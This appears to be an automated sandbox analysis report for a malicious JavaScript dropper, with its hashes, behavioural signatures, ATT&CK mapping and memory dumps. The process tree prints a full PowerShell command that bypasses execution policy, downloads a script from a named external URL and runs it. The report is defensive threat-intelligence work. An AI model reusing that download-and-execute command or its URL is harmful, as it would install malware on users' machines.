27b1a8906dcd0aeb0243387ef6a67d2bf7cf4718b601d4af7bf85d4acbbc72be

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 02:07

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General

Target

27b1a8906dcd0aeb0243387ef6a67d2bf7cf4718b601d4af7bf85d4acbbc72be.js
Size

56KB
MD5

fd867cffd82c6d258d8528263451b623
SHA1

13883561b5e85fb81f6b005c9f2770e5129abcc1
SHA256

27b1a8906dcd0aeb0243387ef6a67d2bf7cf4718b601d4af7bf85d4acbbc72be
SHA512

1e00ca36abf5bbee1ccd08c26b74b88819acbe64792abb34ce5d45183a7f67793fd2f17cf77bc981d82b6dae0f3f212139094c0ed760535d79a5f2d9ab75d6cf
SSDEEP

1536:j4F4gYZhtAcADh4P+F/ksRHkd5AdpXCau+DPGSvSu2qtAErLZ/95rbjd8if72A/m:SRYZYV4P+F/7BdpXCo4z

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1680	powershell.exe
4	1680	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1680	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 1680	1744	wscript.exe	28
PID 1744 wrote to memory of 1680	1744	wscript.exe	28
PID 1744 wrote to memory of 1680	1744	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\27b1a8906dcd0aeb0243387ef6a67d2bf7cf4718b601d4af7bf85d4acbbc72be.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1680-4-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/1680-5-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/1680-6-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

Filesize
9.6MB

Download
memory/1680-7-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

Filesize
9.6MB

Download
memory/1680-8-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/1680-9-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/1680-10-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/1680-11-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/1680-12-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/1680-13-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

Filesize
9.6MB

Download